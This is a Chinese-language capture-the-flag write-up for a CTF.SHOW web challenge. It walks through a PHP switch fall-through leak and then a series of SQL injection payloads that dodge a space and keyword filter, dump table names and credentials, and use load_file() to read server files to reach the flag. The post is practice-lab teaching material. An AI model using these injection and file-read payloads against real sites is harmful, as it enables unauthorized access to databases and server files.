「配枪朱丽叶。」 「配枪朱丽叶。」
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
我的主页 › CTF › [CTF.SHOW]WEB141 min read
#CTF#

[CTF.SHOW]WEB141 min read

5月前
39 0

题目源代码如下:

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

看起来就是要读取secret.php里的内容..?

switch语句如果不加break会一直向下执行,因此?c=3就很轻松地读取了$url的内容:

here_1s_your_f1ag.php

访问后看到一个登录框,在源代码有提示:

<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}
-->

过滤了information_schema.tables、information_schema.columns、linestring、空格polygon。

bp抓包,查询字段数目,只有一个,2报错:

1/**/order/**/by/**/1

查询数据库名(web):

-1/**/union/**/select/**/database()

查询表名(content),information_schema.tables可以用information_schema.`tables`替代,下同。

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=”web”

查询列名(id,username,password):

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=”content”

查询值:

-1/**/union/**/select/**/group_concat(username,0x3b,password)/**/from/**/content

得到的不是flag。。T T:

admin;flag is not here!,gtf1y;wow,you can really dance,Wow;tell you a secret,secret has a secret…

所以还是要读取secret.php的内容。。

查询资料得知mysql提供了读取本地文件的函数load_file():

-1/**/union/**/select/**/load_file(‘/var/www/html/secret.php’)

得到如下代码:

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

尝试读取下real_flag_is_here,得到flag。

-1/**/union//select/**/load_file(‘/real_flag_is_here’)

0 0
Shaw Root
# ctf-show# php# sql注入# 代码审计
相关文章
[Vulnhub]GoldenEye: 1靶机通关记录
[SUCTF 2019]EasyWeb
[BMZCTF]WEB_ezphp
通过一道校赛题学习过滤单引号的注入
[CTF.SHOW]登陆就有flag
头像
Shaw Root站长
> 二月春来三月长安。
143文章 0评论 128获赞
碎碎念 : P

最近深入滴研究了微积分、线性代数和高等数学。发现“微积分”都是一声,“线性代数”都是四声,“高等数学”四声都有,数学真是好奇妙^^

随便看看:)
[CTF.SHOW]web4
10月前
[Vulnhub]CyberSploit: 1靶机通关记录
2月前
[Hackergame2020]部分题解
4月前
[BSidesSF2019]slashslash
11月前
吉警网络安全技能挑战赛四月赛WP
11月前
  • 旧站
  • 我的知乎
  • Riro
  • 7i4n2h3n9
  • EDS
  • 熵增
  • 紫哥purplet
  • 夏风
  • N0vice
  • Ga1@xy
  • prontosil
  • FzWjScJ
  • Retr_0
  • L1near
  • 1p0ch
  • β-AS
  • Match
  • Dizzyk
  • Y1ng
  • 偏有宸机
  • Van1sh
  • Fstone
  • Kali’s Blog
  • Airtail
  • False
  • 魔法少女雪殇
Copyright © 2020-2021 「配枪朱丽叶。」. Designed by nicetheme. 百度统计 载入天数... 载入时分秒...